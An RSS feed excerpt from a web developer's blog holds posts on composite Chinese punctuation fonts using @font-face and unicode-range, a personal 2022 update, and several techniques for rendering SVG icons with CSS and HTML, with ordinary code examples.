&lt;p&gt;But there&apos;s really quite a lot that can be done. I highly encourage everyone to play around with CSS animation properties more. If there&apos;s something you want to do which can&apos;t be done, you can also join in the discussion in the CSSWG Github repository. There are plenty of issues tagged with &lt;a href=&quot;https://github.com/w3c/csswg-drafts/issues?q=is%3Aissue+is%3Aopen+web+animation+label%3Aweb-animations-1&quot;&gt;web-animations-1&lt;/a&gt; and &lt;a href=&quot;https://github.com/w3c/csswg-drafts/issues?q=is%3Aissue+is%3Aopen+web+animation+label%3Aweb-animations-2&quot;&gt;web-animations-2&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Remember, properties do come true when we ask for them nicely, but if we don&apos;t use them and talk about them, how will the browser vendors know we want them? Have fun exploring! &lt;span class=&quot;kaomoji&quot;&gt;ヾ(＾ ᴗ ＾)ノ&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>@font-face fun times</title><link>https://chenhuijing.com/blog/font-face-fun-times/</link><guid isPermaLink="true">https://chenhuijing.com/blog/font-face-fun-times/</guid><description>I&apos;m currently a member of the Chinese Text Layout Task Force | 中文排版需求, and we have monthly calls to discuss issues and work related to the Requirements for…</description><pubDate>Tue, 10 May 2022 17:22:43 GMT</pubDate><content:encoded>&lt;p&gt;I&apos;m currently a member of the &lt;a href=&quot;https://www.w3.org/groups/tf/i18n-clreq&quot;&gt;Chinese Text Layout Task Force | 中文排版需求&lt;/a&gt;, and we have monthly calls to discuss issues and work related to the &lt;a href=&quot;https://www.w3.org/TR/clreq/&quot;&gt;Requirements for Chinese Text Layout&lt;/a&gt;. There were a number of interesting things discussed in the most recent one, enough for me to want to write about them.&lt;/p&gt;
&lt;h2&gt;Mixed script typography&lt;/h2&gt;
&lt;p&gt;The first thing was a discussion around spacing between Han characters and non-Han characters. For the most part, whenever there is a mix of Han characters with other scripts, we would want some extra spacing between them.&lt;/p&gt;
&lt;p&gt;Even though this is not explicitly documented in any national standards or guidelines, those of us who read Chinese have often seen that extra space in printed publications. The examples below are literally books I pulled out of my bookshelf.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption lang=&quot;zh&quot;&gt;&lt;a href=&quot;https://www.books.com.tw/products/0010654376&quot;&gt;字型散步&lt;/a&gt;（柯志杰 &amp; 蘇煒翔）&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/zh-web-type/spacing-480.jpg 480w, /images/posts/zh-web-type/spacing-640.jpg 640w, /images/posts/zh-web-type/spacing-960.jpg 960w, /images/posts/zh-web-type/spacing-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/zh-web-type/spacing-640.jpg&quot; alt=&quot;An example of spacing between Han characters and English letters in&quot;&gt;
&lt;/figure&gt;
&lt;figure&gt;
    &lt;figcaption lang=&quot;zh&quot;&gt;&lt;a href=&quot;https://books.google.com.sg/books/about/%E6%B1%89%E5%AD%97%E5%A4%8D%E5%85%B4%E7%9A%84%E8%84%9A%E6%AD%A5.html?id=C7jerQEACAAJ&amp;redir_esc=y&quot;&gt;汉字复兴的脚步&lt;/a&gt;（许寿椿）&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/zh-web-type/spacing2-480.jpg 480w, /images/posts/zh-web-type/spacing2-640.jpg 640w, /images/posts/zh-web-type/spacing2-960.jpg 960w, /images/posts/zh-web-type/spacing2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/zh-web-type/spacing2-640.jpg&quot; alt=&quot;An example of spacing between Han characters and English letters in&quot;&gt;
&lt;/figure&gt;
&lt;figure&gt;
    &lt;figcaption lang=&quot;zh&quot;&gt;&lt;a href=&quot;https://www.amazon.com/%E5%88%9B%E5%AD%97%E5%BD%95-%E5%AD%97%E4%BD%93%E8%AE%BE%E8%AE%A1%E5%BF%85%E4%BF%AE%E8%AF%BE-%E5%90%B4%E5%89%91/dp/7115395535&quot;&gt;创字录:字体设计必修课&lt;/a&gt;（吴剑）&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/zh-web-type/spacing3-480.jpg 480w, /images/posts/zh-web-type/spacing3-640.jpg 640w, /images/posts/zh-web-type/spacing3-960.jpg 960w, /images/posts/zh-web-type/spacing3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/zh-web-type/spacing3-640.jpg&quot; alt=&quot;An example of spacing between Han characters and English letters in&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Admittedly, because there is no official guidance on this, there are also situations where there is no space between Han and non-Han characters. The purpose of our task force is to have a comprehensive requirements document for browser implementers to better understand what the ideal presentation of the Chinese script on the web and digital media should be.&lt;/p&gt;
&lt;p&gt;And so, when we saw this issue being raised in the &lt;a href=&quot;https://github.com/w3c/csswg-drafts&quot;&gt;CSS Working Group Github repository&lt;/a&gt; on &lt;a href=&quot;https://github.com/w3c/csswg-drafts/issues/6950&quot;&gt;text-spacing behaviour&lt;/a&gt;, we discussed it during our monthly call. For the most part, we discussed the amount of spacing required (1/4em versus 1/8em). And also, what the default behaviour of the &lt;code&gt;text-spacing&lt;/code&gt; property ought to be.&lt;/p&gt;
&lt;p&gt;I did share my experience with Shopify&apos;s Chinese language websites (we have 4 of them!), whereby the content guidelines for authors was to have manually add the spaces via &lt;code&gt;U+0020&lt;/code&gt; for whenever our Chinese text finds itself adjacent to an English word. The thing is, the amount of space that &lt;code&gt;U+0020&lt;/code&gt; adds is a little too much.&lt;/p&gt;
&lt;p&gt;So I also wondered out loud how plausible it would be for the browser to automatically adjust the width of the manually added spaces. And turns out, there is &lt;a href=&quot;https://github.com/w3c/csswg-drafts/issues/7183&quot;&gt;another Github issue&lt;/a&gt; related to this topic, which talks about making &lt;code&gt;autospace&lt;/code&gt; a separate property rather than a value in &lt;code&gt;text-spacing&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;As I went through all the comments in the first issue, I was rather surprised at &lt;a href=&quot;https://github.com/w3c/csswg-drafts/issues/6950#issuecomment-1079508509&quot;&gt;this comment&lt;/a&gt; made by “an English reader who has a bare acquaintance with Chinese text”, who mentions that he &lt;a href=&quot;https://github.com/w3c/csswg-drafts/issues/6950#issuecomment-1082512142&quot;&gt;“had two professionals who come from journalism tell me that removing spacing looks better, with adding spaces being reserved for special use cases.”&lt;/a&gt;. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;That being said, I do acknowledge said English reader&apos;s concerns about ensuring legacy behaviour not be broken. That is the beauty of the web, and the fact that we even had a forum to discuss this issue in the open is what I love about web standards.&lt;/p&gt;
&lt;p&gt;I won&apos;t repeat the bulk of the discussion in those 2 issues and if you&apos;re interested, please read through both of them on Github. It&apos;s pretty interesting if you&apos;re interested in Chinese typography.&lt;/p&gt;
&lt;h2&gt;The @font-face thing&lt;/h2&gt;
&lt;p&gt;I guess if you were here for the font-face thing, you must be wondering what the previous 500 words were all about. Well, thanks for scrolling all the way down, and even better if you actually read those 500 words prior.&lt;/p&gt;
&lt;p&gt;Among one of the many other things we discussed that day, the issue of our font stack for the Requirements document is not ideal, and also, that the Noto CJK fonts had been renamed. The TL;DR is that for mixed typography, it is ideal to list the Latin-script fonts first (see Kendra Schaefer&apos;s &lt;a href=&quot;http://kendraschaefer.com/2012/06/chinese-standard-web-fonts-the-ultimate-guide-to-css-font-family-declarations-for-web-design-in-simplified-chinese/&quot;&gt;excellent write-up from 10 years ago&lt;/a&gt; which is STILL relevant today).&lt;/p&gt;
&lt;p&gt;I &lt;em&gt;think&lt;/em&gt; the reason we had originally listed the Chinese fonts first was that Chinese fonts are better optimized for Chinese punctuation marks, specifically quote marks. Generally, everyone in the call agreed that the Latin fonts should be listed first, but we definitely needed to take care of the fugly Latin glyphs in Chinese fonts issue.&lt;/p&gt;
&lt;p&gt;And here is where the &lt;code&gt;@font-face&lt;/code&gt; fun times come in! I had talked about this numerous times back when in-person conferences were an thing, that using &lt;code&gt;unicode-range&lt;/code&gt; to create composite fonts is a very useful thing for cases like this. So I volunteered to make the pull request to update our fonts.&lt;/p&gt;
&lt;p&gt;The 2 punctuation fonts declared for Simplified Chinese and Traditional Chinese are as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@font-face {
  font-family: &amp;quot;Punctuation SC&amp;quot;;
  src: local(&amp;quot;PingFang SC&amp;quot;), local(&amp;quot;Noto Sans SC&amp;quot;), local(&amp;quot;Noto Sans CJK SC&amp;quot;), local(&amp;quot;Heiti SC&amp;quot;),
    local(&amp;quot;Microsoft Yahei&amp;quot;);
  unicode-range: U+201C, U+201D, U+2018, U+2019; /* Unicode range for quotation marks */
}

@font-face {
  font-family: &amp;quot;Punctuation TC&amp;quot;;
  src: local(&amp;quot;PingFang TC&amp;quot;), local(&amp;quot;Noto Sans TC&amp;quot;), local(&amp;quot;Noto Sans CJK TC&amp;quot;), local(&amp;quot;Heiti TC&amp;quot;),
    local(&amp;quot;Microsoft JhengHei&amp;quot;);
  unicode-range: U+201C, U+201D, U+2018, U+2019; /* Unicode range for quotation marks */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Simplified Chinese and Traditional Chinese display certain punctuation differently, for example, the full-width comma and period for Traditional Chinese is centred, while for Simplified Chinese they are in the bottom-left quadrant. See Bobby Tung&apos;s article &lt;a href=&quot;https://bobtung.medium.com/best-practice-in-chinese-layout-f933aff1728f&quot;&gt;Best Practices for Chinese Layout&lt;/a&gt; for visual examples of this.&lt;/p&gt;
&lt;p&gt;For the &lt;code&gt;src&lt;/code&gt;, again, because CJK languages tend to have much larger character sets than the alphabetic scripts, we usually use system fonts for the body copy for better performance, as a font file is often more than 1mb. We can ask the browser to check the local machine for the specified font using &lt;code&gt;local()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If you&apos;re curious about the full font stack I proposed, it looks like this (with comments to explain why each font was chosen):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;/*
-apple-system: iOS Safari, macOS Safari, macOS Firefox
BlinkMacSystemFont: macOS Chrome
Segoe UI: Windows
Roboto: Android, Chrome OS
Oxygen-Sans: KDE
Fira Sans: Firefox OS
Droid Sans: Older versions of Android
Ubuntu: Ubuntu
Cantarell: GNOME
Helvetica Neue: macOS versions &amp;lt; 10.11
Arial: Any
PingFang TC/SC: macOS
Noto Sans TC/SC: Ubuntu, Android
Noto Sans CJK TC/SC: Ubuntu, Android
Heiti TC/SC: macOS
DengXian: Windows
Microsoft Jhenghei / Microsoft Yahei: Windows &amp;lt; Vista
sans-serif: Fallback
*/

[lang=&amp;quot;zh-hant&amp;quot;] {
  font-family: &amp;quot;Punctuation TC&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen-Sans,
    Ubuntu, Cantarell, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang TC&amp;quot;, &amp;quot;Noto Sans TC&amp;quot;, &amp;quot;Noto Sans CJK TC&amp;quot;, &amp;quot;Heiti TC&amp;quot;,
    &amp;quot;Microsoft JhengHei&amp;quot;, sans-serif;
}

[lang=&amp;quot;zh-hans&amp;quot;] {
  font-family: &amp;quot;Punctuation SC&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen-Sans,
    Ubuntu, Cantarell, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, &amp;quot;Heiti SC&amp;quot;,
    &amp;quot;DengXian&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, sans-serif;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Anyway, that&apos;s about it. If you&apos;re curious to what else was discussed on the call, you can refer to our &lt;a href=&quot;https://www.w3.org/2022/04/15-clreq-minutes.html&quot;&gt;meeting minutes&lt;/a&gt;. The repository for the &lt;a href=&quot;https://www.w3.org/TR/clreq/&quot;&gt;Requirements for Chinese Text Layout&lt;/a&gt; document is also open on Github at: &lt;a href=&quot;https://github.com/w3c/clreq&quot;&gt;https://github.com/w3c/clreq&lt;/a&gt;.&lt;/p&gt;
</content:encoded></item><item><title>Random update for 2022</title><link>https://chenhuijing.com/blog/random-update-for-2022/</link><guid isPermaLink="true">https://chenhuijing.com/blog/random-update-for-2022/</guid><description>I had a conversation with my brother-from-another-mother, Zell, a couple days ago. Half catch-up and half discussion on the project we&apos;re working on, which…</description><pubDate>Sun, 13 Mar 2022 04:06:51 GMT</pubDate><content:encoded>&lt;p&gt;I had a conversation with my brother-from-another-mother, &lt;a href=&quot;https://zellwk.com/&quot;&gt;Zell&lt;/a&gt;, a couple days ago. Half catch-up and half discussion on the project we&apos;re working on, which I&apos;ll be honest, I have not been keeping up with very well. Project in question being a course called Essential CSS.&lt;/p&gt;
&lt;p&gt;There are a still a couple chapters to be written. And the content is all in my head, but somehow, the process of getting the thoughts out into lesson form is proving more effort-ful than anticipated. Overall, since mid 2020, I&apos;ve published a lot fewer blog posts and talks.&lt;/p&gt;
&lt;h2&gt;On much decreased output&lt;/h2&gt;
&lt;p&gt;Is there a good reason for this? Probably not unless you think “I just didn&apos;t feel like it” is a good one. I did mention to Zell I had a hypothesis. That I actually have an invisible word output quota. Even though my public output seems sparse, it&apos;s not like I&apos;ve stopped writing altogether.&lt;/p&gt;
&lt;p&gt;It&apos;s just that a huge bulk of this output is for my day job. So apparently, it is not &lt;strong&gt;that&lt;/strong&gt; publicly known that I joined Shopify in May 2020. Which means I&apos;m coming up to the 2 year mark. I admittedly kept it on the down low because I was switching jobs during a time many people around me were losing the theirs.&lt;/p&gt;
&lt;p&gt;Most of you have no idea how significant this milestone is because in my decade-long tax-paying work experience, I have never stayed at a company for longer than 2 years. I&apos;m doing my best not to get fired before that happens. It&apos;s a pretty nice place to work, to be honest.&lt;/p&gt;
&lt;p&gt;But I happen to be on a team where I&apos;m “out-of-timezone”, i.e. I&apos;m in the APAC timezone while the all my other team members (except 1) is on the other side of the planet. To compensate for this, the 2 of us document extensively, because we do not have the luxury of real-time interactions with people other than ourselves.&lt;/p&gt;
&lt;p&gt;So our Github issues are very detailed, our pull requests are annotated (Github comments are great for this), and we drop lengthy posts explaining the rationale behind our major technical decisions. That&apos;s a lot of words during the course of the day.&lt;/p&gt;
&lt;p&gt;By the time I knock off work, my word juice has been squeezed dry and I just want to become a consumer of content not a producer. Sometimes I do get flashes of “hey, let&apos;s write a blog post” (like right now), so we&apos;ll see how this goes. I will finish up the course as soon as I can though, that much is for certain.&lt;/p&gt;
&lt;h2&gt;On web things&lt;/h2&gt;
&lt;p&gt;Another reason I looked back at some of the blog posts I wrote in the past was because I just saw the &lt;a href=&quot;https://utopia.fyi/&quot;&gt;Utopia&lt;/a&gt; project by &lt;a href=&quot;https://twitter.com/j98&quot;&gt;James Gilyead&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/trysmudford&quot;&gt;Trys Mudford&lt;/a&gt;. The project really resonated with me and the same thoughts and ideas that I had about the web from years ago are still relevant now.&lt;/p&gt;
&lt;p&gt;My &lt;a href=&quot;/blog/a-better-web-design-process/&quot;&gt;first public blog post&lt;/a&gt; on the web design process itself was informed by John Allsop&apos;s &lt;a href=&quot;https://alistapart.com/article/dao/&quot;&gt;A Dao of Web Design&lt;/a&gt;, written in 2000. I don&apos;t know whether to be amazed by the timeless-ness of the piece or sad that it&apos;s been more than 2 decades and we still have not moved the needle enough.&lt;/p&gt;
&lt;p&gt;The talk that brought me around the world was based on the idea that we should embrace the fluidity of the web and in some sense, let go of absolute control over where things need to be. I&apos;m very glad and reassured that folks at the CSS Working Group continue to push things forward with the help of browser engineers, giving web developers like us more and better tools to work with.&lt;/p&gt;
&lt;h2&gt;On the state of the world&lt;/h2&gt;
&lt;p&gt;I have not seen my parents in person since February 2020 since travelling home hasn&apos;t been the easiest of options over the past 2 years. That might change soon, but travel policies flip back and forth like the wind, so who knows. Travel in general seems like a really foreign concept to me nowadays.&lt;/p&gt;
&lt;p&gt;The last country I was in before the pandemic shut everything down was Ukraine. I was there in 2020 for JS &lt;a href=&quot;https://fwdays.com/en/&quot;&gt;fwdays&lt;/a&gt; and although all of the speakers who made it in person had to scramble to leave before the borders shut down, I think none of us would have imagined what is happening right now.&lt;/p&gt;
&lt;p&gt;I had been beyond fortunate to have the chance to visit Ukraine multiple times over the years and have wonderful memories of Kyiv, and the people I met there. To see people having to up their entire lives and leave their homes or hide in shelters, streets and civilian buildings shelled and reduced to rubble is tragic and horrifying.&lt;/p&gt;
&lt;p&gt;Vitaly wrote a &lt;a href=&quot;https://www.smashingmagazine.com/2022/02/we-all-are-ukraine/&quot;&gt;heart-wrenching post&lt;/a&gt; on Smashing Magazine and in it there are various links on how we can help even if we are physically far away from Ukraine. I&apos;ll highlight &lt;a href=&quot;https://how-to-help-ukraine-now.super.site/&quot;&gt;Real ways you can help Ukraine as a foreigner&lt;/a&gt; because it contains a globally crowdsourced list of links.&lt;/p&gt;
&lt;p&gt;If you have the means to, please do what you can to show your support to Ukraine and their people.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;The past 2 years have been difficult for many people. And I can only hope that all of you hang in there, take care of yourselves and if you can, someone else around you as well. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Ukraine&quot;&gt;🇺🇦&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;red heart&quot;&gt;❤️&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face with medical mask&quot;&gt;😷&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>The many methods for using SVG icons</title><link>https://chenhuijing.com/blog/the-many-methods-for-using-svg-icons/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-many-methods-for-using-svg-icons/</guid><description>Recently at work, I ran into a situation where we had to revisit how SVG icons were being implemented on our pages. And that gave me the opportunity to dig…</description><pubDate>Thu, 23 Dec 2021 05:53:22 GMT</pubDate><content:encoded>&lt;p&gt;Recently at work, I ran into a situation where we had to revisit how SVG icons were being implemented on our pages. And that gave me the opportunity to dig into the myriad of options we have for doing so. I thought this was worth documenting for future me (and maybe some of you who actually read this blog), because there are a LOT of options.&lt;/p&gt;
&lt;h2&gt;As a pseudo-element via CSS&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.a-cleverly-named-css-class {
  /* bunch of pretty styles, oh wow */
  &amp;amp;::after {
    content: url(&amp;quot;./some_icon.svg&amp;quot;);
    display: block;
    height: 1.5em;
    width: 1.5em;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is good for icons that do not require modifications to the SVG itself (i.e. different colour?). If you look at the styles in the example above, we can modify the icon&apos;s positioning and sizing but we will not be able to change the icon itself. The FAQ accordion uses this method at the moment.&lt;/p&gt;
&lt;h2&gt;As a background-image on pseudo-element via CSS&lt;/h2&gt;
&lt;p&gt;This is almost exactly the same thing as option 1 except that instead of using the SVG directly as the &lt;code&gt;content&lt;/code&gt;, we attach it using &lt;code&gt;background-image&lt;/code&gt; to the pseudo-element instead.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.a-cleverly-named-css-class {
  /* bunch of pretty styles, oh wow */
  &amp;amp;::after {
    content: &amp;quot;&amp;quot;;
    display: block;
    height: 1.5em;
    width: 1.5em;
    background-image: url(&amp;quot;./some_icon.svg&amp;quot;);
    background-position: initial;
    background-size: initial;
    background-repeat: initial;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This does allow slightly more control over the image because then you would have access to &lt;code&gt;background-position&lt;/code&gt;, &lt;code&gt;background-size&lt;/code&gt; etc. This approach does allow you to do what was usually done for sprite sheets, where all the icons were in a single image file.&lt;/p&gt;
&lt;p&gt;Developers then specified the &amp;quot;coordinates&amp;quot; of each icon based on the &lt;code&gt;background-position&lt;/code&gt; and maybe &lt;code&gt;background-size&lt;/code&gt; depending on the icon being specified.&lt;/p&gt;
&lt;p&gt;The main issue with both CSS approaches is that you cannot change the colour of the icon via CSS. There might be cases where your icons need to appear in different contexts, where they need to match different colours of content for example.&lt;/p&gt;
&lt;p&gt;If you are using monochrome icons, there is a solution to this. Some people might think this is hacky but I think it&apos;s kinda smart. The trick here is using CSS filters to get just the right shade you want. And no, I cannot write the filters by hand, but there&apos;s this filter calculator by &lt;a href=&quot;https://twitter.com/bsonntag&quot;&gt;Barrett Sonntag&lt;/a&gt; that can do it for us.&lt;/p&gt;
&lt;p class=&quot;codepen&quot; data-height=&quot;440&quot; data-default-tab=&quot;result&quot; data-slug-hash=&quot;Pjoqqp&quot; data-preview=&quot;true&quot; data-user=&quot;sosuke&quot; style=&quot;height: 440px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;&quot;&gt;
  &lt;span&gt;See the Pen &lt;a href=&quot;https://codepen.io/sosuke/pen/Pjoqqp&quot;&gt;
  CSS filter generator to convert from black to target hex color&lt;/a&gt; by Barrett Sonntag (&lt;a href=&quot;https://codepen.io/sosuke&quot;&gt;@sosuke&lt;/a&gt;)
  on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;You may or may not get the exact shade that you&apos;re looking for, but odds are if you run the thing enough times, you can get something that&apos;s close enough.&lt;/p&gt;
&lt;h2&gt;Inline SVG rendered on the page itself&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;a href=&amp;quot;https://namu.wiki/w/Redd&amp;quot;&amp;gt;
  음색 요정 휘인의 첫 번째 미니앨범 [Redd]
  &amp;lt;svg viewBox=&amp;quot;0 0 24 24&amp;quot;&amp;gt;
    &amp;lt;path
      d=&amp;quot;M21 12.424V11a9 9 0 0 0-18 0v1.424A5 5 0 0 0 5 22a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2v-1a7 7 0 0 1 14 0v1a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2 5 5 0 0 0 2-9.576ZM5 20a3 3 0 0 1 0-6Zm14 0v-6a3 3 0 0 1 0 6Z&amp;quot;
    /&amp;gt;
  &amp;lt;/svg&amp;gt;
&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This approach allows us to modify the icon itself via CSS because &lt;code&gt;svg&lt;/code&gt; and &lt;code&gt;path&lt;/code&gt; are accessible to us via this inline approach. This might be fine for SVG files that have reasonably short path data but would litter the markup if more complicated SVGs are required. But it does allow very granular control with CSS classes.&lt;/p&gt;
&lt;p&gt;If you needed to animate the SVG, this is a pretty good option. But if you really don&apos;t want to have the markup be so messy, another approach to inline SVG is via the &lt;code&gt;use&lt;/code&gt; attribute, which allows you to reference an SVG shape from elsewhere in the file.&lt;/p&gt;
&lt;p&gt;You can also choose to place the SVG file somewhere else in your document and just reference the identifier. For multiple SVG icons, they can each be symbols without the main SVG element, and referenced with the hash symbol. This makes the markup much neater.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;!-- This is rendered but hidden with CSS --&amp;gt;
&amp;lt;svg xmlns=&amp;quot;http://www.w3.org/2000/svg&amp;quot;&amp;gt;
  &amp;lt;symbol id=&amp;quot;icon-headphones&amp;quot; viewBox=&amp;quot;0 0 24 24&amp;quot;&amp;gt;
    &amp;lt;path
      d=&amp;quot;M21 12.424V11a9 9 0 0 0-18 0v1.424A5 5 0 0 0 5 22a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2v-1a7 7 0 0 1 14 0v1a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2 5 5 0 0 0 2-9.576ZM5 20a3 3 0 0 1 0-6Zm14 0v-6a3 3 0 0 1 0 6Z&amp;quot;
    /&amp;gt;
  &amp;lt;/symbol&amp;gt;
&amp;lt;/svg&amp;gt;
&amp;lt;!-- Totally invisible, you&apos;re not supposed to know it&apos;s here… --&amp;gt;

&amp;lt;a href=&amp;quot;https://namu.wiki/w/Redd&amp;quot;&amp;gt;
  음색 요정 휘인의 첫 번째 미니앨범 [Redd]
  &amp;lt;svg class=&amp;quot;icon__headphones&amp;quot; aria-hidden=&amp;quot;true&amp;quot; focusable=&amp;quot;false&amp;quot;&amp;gt;
    &amp;lt;use href=&amp;quot;#icon-headphones&amp;quot;&amp;gt;&amp;lt;/use&amp;gt;
  &amp;lt;/svg&amp;gt;
&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Regardless of how the inline SVG is implemented, this seems to be the preferred approach because it gives us full control over the styling of the icon.&lt;/p&gt;
&lt;h2&gt;As an externally referenced image file&lt;/h2&gt;
&lt;p&gt;The last option is to reference the SVG from an external file altogether. You might be thinking, isn&apos;t this the same as the first option where you won&apos;t be able to change anything on the SVG? Well, turns out there are &lt;em&gt;some&lt;/em&gt; things that are possible.&lt;/p&gt;
&lt;p&gt;Let&apos;s say the icons are all in an SVG file named &lt;em&gt;icons.svg&lt;/em&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-xml&quot;&gt;&amp;lt;svg xmlns=&amp;quot;http://www.w3.org/2000/svg&amp;quot;&amp;gt;
  &amp;lt;symbol id=&amp;quot;icon-headphones&amp;quot; viewBox=&amp;quot;0 0 24 24&amp;quot;&amp;gt;
    &amp;lt;path d=&amp;quot;M21 12.424V11a9 9 0 0 0-18 0v1.424A5 5 0 0 0 5 22a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2v-1a7 7 0 0 1 14 0v1a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2 5 5 0 0 0 2-9.576ZM5 20a3 3 0 0 1 0-6Zm14 0v-6a3 3 0 0 1 0 6Z&amp;quot;/&amp;gt;
  &amp;lt;/symbol&amp;gt;
&amp;lt;/svg&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is possible to reference this external SVG file like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;a href=&amp;quot;https://namu.wiki/w/Redd&amp;quot;&amp;gt;
  음색 요정 휘인의 첫 번째 미니앨범 [Redd]
  &amp;lt;svg class=&amp;quot;icon__headphones&amp;quot; aria-hidden=&amp;quot;true&amp;quot; focusable=&amp;quot;false&amp;quot;&amp;gt;
    &amp;lt;use href=&amp;quot;icons.svg#icon-headphones&amp;quot;&amp;gt;&amp;lt;/use&amp;gt;
  &amp;lt;/svg&amp;gt;
&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Changing the colour of the icon via CSS is do-able because the fill property cascades in through the shadow DOM boundary as long as there is no existing fill attribute on the paths in the file, but you wouldn&apos;t be able to modify individual paths like in the second option.&lt;/p&gt;
&lt;p&gt;The benefit of this approach is that the external file can be cached for performance gains, and if your use case only requires mono-coloured icons, this is a pretty good approach. But if you have multi-coloured icons, then you&apos;re out of luck, and would probably have to use the second option.&lt;/p&gt;
&lt;p&gt;Learned about this approach from &lt;a href=&quot;https://css-tricks.com/svg-use-with-external-reference-take-2/&quot;&gt;SVG `use` with External Reference, Take 2&lt;/a&gt; by &lt;a href=&quot;https://chriscoyier.net/&quot;&gt;Chris Coyier&lt;/a&gt; and ended up going for this approach in my project.&lt;/p&gt;
&lt;p&gt;One thing to note is there might be CORS issues if you are serving assets from a different URL from your web page: &lt;a href=&quot;https://oreillymedia.github.io/Using_SVG/extras/ch10-cors.html&quot;&gt;Understanding CORS and SVG&lt;/a&gt;. This is a problem I&apos;m going to be facing, so we&apos;ll see how that goes.&lt;/p&gt;
&lt;h2&gt;As a mask layer with &lt;code&gt;mask-image&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;After I wrote up these methods, I read &lt;a href=&quot;https://cloudfour.com/thinks/svg-icon-stress-test/&quot;&gt;Which SVG technique performs best for way too many icons? &lt;/a&gt; by &lt;a href=&quot;https://tylersticka.com/&quot;&gt;Tyler Sticka&lt;/a&gt; and learned about the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/mask-image&quot;&gt;mask-image&lt;/a&gt; approach.&lt;/p&gt;
&lt;p&gt;This is the CSS property that allows us to set an image as the mask layer for an element. So I guess this kind of falls into the first 2 categories of using CSS to do it, because I would most likely do this with pseudo-elements as well.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.a-cleverly-named-css-class {
  /* bunch of pretty styles, oh wow */
  &amp;amp;::before {
    -webkit-mask-image: url(&amp;quot;./some_icon.svg&amp;quot;);
    mask-image: url(&amp;quot;./some_icon.svg&amp;quot;);
    background-color: forestgreen;
    height: 1.5em;
    width: 1.5em;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Given there are so many methods to implement the same thing, hopefully there is a technique available that suits your particular situation and use-case. Anywayz, stay safe, my friends! &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face with medical mask&quot;&gt;😷&lt;/span&gt;&lt;/p&gt;
